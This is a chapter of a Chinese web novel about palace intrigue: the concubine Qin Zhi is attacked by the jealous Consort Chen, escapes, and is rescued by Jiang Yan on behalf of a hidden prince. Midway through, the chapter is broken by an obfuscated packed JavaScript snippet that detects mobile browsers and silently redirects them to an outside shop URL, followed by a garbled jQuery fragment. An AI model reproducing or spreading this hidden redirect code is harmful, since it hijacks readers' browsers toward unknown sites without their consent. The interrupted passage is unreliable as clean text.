文趣网 > 都市小说 > 被捡到的皇子强取豪夺后 > 29. 入宫09
    “什么?”秦芝下意识问道。

    “可我是宫妃,又怎能去尚医局?”

    林司药如同稚子般狡黠一笑:“不是让才人做女官,只是偶尔去帮衬一二罢了,尚医局应接不暇时、遇上疑难杂症时,助我等一臂之力。”

    “这听上去不太厚道,似乎在白白用才人而无名分,但我实在惜才,才人通医术,又爱行医问诊,深宫难免无趣,或许找些事情做也是好的,当然,如果才人不想去的话,也无——”

    在“妨”字尚未说出时,秦芝就迅速回答:“我想!”

    林司药刚说出第一句时,秦芝就明了她的话中意味,一阵狂喜涌上心头。

    她早对尚医局向往已久,有此机会,怎能不往。

    “当然,我自然也不会亏缺秦才人人,会贴补你一些银钱充作‘月俸’,我知才人不缺这点薄资,只是想于心稍安。”

    “既是如此,那就多谢司药。”秦芝道。

    “勿要谢我,才人金尊玉贵,赏脸到尚医局来才是我的福分。”

    随后,两人又交谈许久,直至天色渐晚。

    林司药心满意足地告别离开。

    交谈之后,秦芝才发觉,林司药此人的学识与经验极为深不可测,似乎没有她不解之疾。

    自己上次提出的那味苗药,是误打误撞到林司药罕见的不熟之处了。

    翌日,秦芝打算前往尚医局。

    当日天朗气清,她心情极佳,所以并未乘轿,而是与小井一同徒步前往。

    行至太月湖边时,迎面而来的是阵势浩大的一群人。

    为首的是陈美人,不,现在应当是陈婕妤了。

    她与秦芝同时入宫,其娇媚性子颇得陛下宠爱。

    此人也是上次成罗公主不慎入水时,在湖心亭上引发争执的当事人之一。

    陈婕妤看到秦芝,眯着眼睛,轻扬下巴,轻蔑一笑:“我当这是谁呢,原来是那日救下公主的勇士秦才人啊。”

    秦芝不想与之缠斗,对着更高品级的陈婕妤浅浅行礼后欲快速离开。

    陈婕妤却不甘于此,用眼神示意身后内侍。

    内侍上前来拦住秦芝和小井前方的路。

    秦芝无奈叹气:“婕妤还有何事。”

    陈婕妤抚着发髻右侧的金簪,眼神微厉,道:“听说秦才人至今尚未侍寝,秦才人何时再救一次公主,就可再被陛下召见一次了。”

    陈婕妤身后的侍女和宦侍都悄悄低声笑着。

    秦芝有些不耐烦,微微皱眉,打算回击之时,陈婕妤上前一步,迅速抬手捏住秦芝下颌。

    “秦才人这张脸真是美,可惜,陛下并不喜欢,你说,如果这脸被簪子划伤,会有人注意到么。”陈婕妤凑近秦芝,另一只手拔下金簪。

    秦芝两颊被陈婕妤的长甲戳的生疼,皱眉,欲抬手推开陈婕妤,却立刻被其宦侍所控制。

    一旁的小井扑上来,亦被两个侍女拉扯住。

    “我与婕妤无冤无仇,又不得陛下喜爱,婕妤何至于此。”秦芝冷静下来。

    “无冤无仇?你那日跳水救公主,出尽风头,却让我被陛下禁足半月,受尽宫中人的嘲笑,这几日才重见陛下,你敢说是无冤无仇?”陈婕妤另一只手攥着金簪轻敲秦芝的右颊,又道:“何况,你这张脸长成这样...”

    右颊处有簪尖滑动的冰凉触感。

    秦芝眼皮抽动,冷冷道:“那日我若不救下公主,公主有何闪失,婕妤岂不是会被陛下降下重罪,今日又怎能在此处威胁我。”

    “你在顶撞我?”陈婕妤将金簪压得更深些。

    脸颊处痛感加剧,秦芝咬牙道:“妾不敢,只是我对公主有救命之恩,今日你若伤害我,他日,公主定会惩戒你。”

    前面传来一声尖锐的呵笑声。

    “哈哈,你真以为公主把你当回事么,你不过是公主无聊时逗乐的狗罢了。”

    “就算养的狗受伤,公主殿下想必也不会开心。”秦芝的声音平静。

    陈婕妤重重地哼一声,抬起手中金簪,刺向秦芝的右颊。

    右颊的压感消失,取而代之的是火辣辣的痛,秦芝猛一用力挣脱出宦侍的控制,摸着右颊。

    幸而并未流血。

    秦芝以为自己搬出公主后,陈婕妤肯放过自己,准备离开。

    陈婕妤又开口道:“元子,送她去宫正司,就说是遵我嘱咐,让她好好学学规矩。”

    “是。”陈婕妤的宦侍应着,说话间就要上来扭送秦芝。

    秦芝一惊。

    小舒说过,宫正司是宫中惩戒有罪宦侍和侍女的地方,偶尔也会有默默无闻的低品级妃嫔在里面莫名其妙地消失。

    秦芝自知万不可入宫正司,若进去,只怕有去无回。

    而公主宋昭这几日因为养病,不会离开锦安宫半步,其宫中人也不会拿琐事去叨扰她。

    届时,待宋昭出宫知晓此事,自己和小井怕是已经身首异处。

    秦芝心中一沉。

    她迅速蹲下捡起一把沙土,向着宦侍元子的方向扬去。

    只听到一声哀嚎,所有人视线被暂时吸引。

    控制小井的两个侍女亦松懈下来。

    小井趁机挣扎出来。

    秦芝拉着小井朝着反方向跑去。

    陈婕妤注意到秦芝趁机逃跑,高呼着侍女和宦侍去追。

    一时间,场景鸡飞狗跳。

    刚跑出去几丈远,秦芝就要被身后宦侍追上。

    千钧一发之际。

    前方缓缓行来一架华贵轿子。

    这条湖边小道狭窄,轿辇几乎挡住秦芝逃跑的路。

    秦芝站定,回头看离自己近在咫尺的陈婕妤众人,又转头看向东边的太月湖,思索着跳湖游离的可能性。

    可惜,天寒地冻,湖面早就结了一层厚实的冰层。

    面前的轿辇停下,轿上的人也未曾说话。

    陈婕妤得逞地笑着逼近,精心妆就的脸却狰狞至极,挥手让宦侍上前挟制住秦芝和小井。

    走投无路之时,秦芝甩开宦侍钳制的双手,高呼:“贵人救命。”

    她不知道轿中人是谁,但求能有一线生机。

    这宦侍力大无比,生生将秦芝拖出一丈去。

    “谁?”

    轿中人终于开口。

    是男人声音。

    但场面混乱,秦芝挣扎着,并未听清此人音色,只觉察到夹缝中的一点希望。

    她挣扎着跑到轿前,喊着“救我”。

    轿帘轻启,一个年轻男子跳下轿。

    是江衍。

    “秦才人,怎么是你?”江衍疑惑问道。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17706921|208337||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    秦芝慌乱之中,并未听出,方才发出询问的轿中人和江衍的音色并不相同。

    “江都督,陈婕妤欲对我行私刑,请您救我。”秦芝带着小井跑到江衍身后。

    江衍看向陈婕妤,神情肃然,向婕妤略行一礼,问道:“陈婕妤,这是怎么回事?”

    陈婕妤得意洋洋道:“此人以下犯上,冒犯本宫,触犯宫规,理所应当送到宫正司严明规矩。”

    说罢,陈婕妤的宦侍便要伸手去抓秦芝。

    江衍上前阻拦,迟疑道:“这其中或许有何误会。”

    “呵,误会?一个不受宠的才人而已,江都督别忘了,我们陈家和江家可是同盟。”

    陈婕妤不耐烦道:“元子,还不快点。”

    场面一时僵持住了。

    眼看着要步入绝境,秦芝欲哭无泪,四下搜寻着周遭有何逃生之路。

    西侧是高耸的宫墙,东侧是结冰的太月湖,北面是轿子,南面是渐渐逼近的陈婕妤。

    现在看来,陈家是三皇子党,江衍并不想得罪这位陈家嫡女,而自己只是个无甚背景与宠爱的才人。

    难道真要拼死一搏,从东侧的太月湖离开?

    “咳咳。”

    轿上传来男人的轻咳声。

    所有人都被这声音吸引而去。

    众人皆以为是江衍在乘轿,却没想到轿上还有第二人。

    江衍走向轿子,在窗边站定。

    那轿帘被里面人向外掀开,众人只能看到一只修长矜贵的手,和轿中人若隐若现的冷白下颌。

    那人带着一种莫名的熟悉感,却无从分辨。

    江衍恭敬低头,侧耳倾听。

    众人都被迫安静下来。

    顷刻,轿上人似乎嘱咐完毕,江衍向这方走来。

    轿帘落下之前,秦芝觉察到一股若有似无的视线投向自己。

    如同被某种暗中蛰伏的毒蛇不声不响地窥伺,秦芝不适地闪避。

    看到江衍的恭敬模样,陈婕妤猜出什么,神色变得谨慎,问道:“莫非,轿上人是殿下?”

    江衍神情冷漠,并不理会陈婕妤,径直说:“陈婕妤在宫中肆意作乱,妄行违逆之事,押入宫正司,听候发落。”

    说罢,江衍摆手示意轿辇后方的侍卫。

    陈婕妤险些跌坐在地上,被侍女扶住。

    两名高大侍卫走上前来,架起陈婕妤。

    “殿下!家父是鸿胪寺左少卿,是您麾下之人!”陈婕妤冲着轿中人喊道。

    江衍冷冷道:“陈婕妤,陈大人因为攀附江之源,才姑且担个鸿胪寺少卿的职,而非我们殿下刻意拉拢,想必陈大人也会苦恼有您这样的女儿吧。”

    闻言,陈婕妤脸煞白,被带走前又冲着轿中人高呼:“可我是陛下宠妃,您怎么跟陛下交代?”

    江衍一时未回答。

    陈婕妤以为自己戳中关键,梗着脖颈喊道:“您真的要因为这一件小事得罪陛下么?”

    轿辇处传来一声轻笑。

    听到这笑声,陈婕妤如同听到阎罗声音,渐渐僵硬。

    江衍:“您就不必为殿下担忧了,殿下自会向陛下禀报。”

    “带走。”

    陈才人就这样在众目睽睽之下被三皇子侍卫拖走,其宦侍和侍女们也作鸟兽状惊吓散去。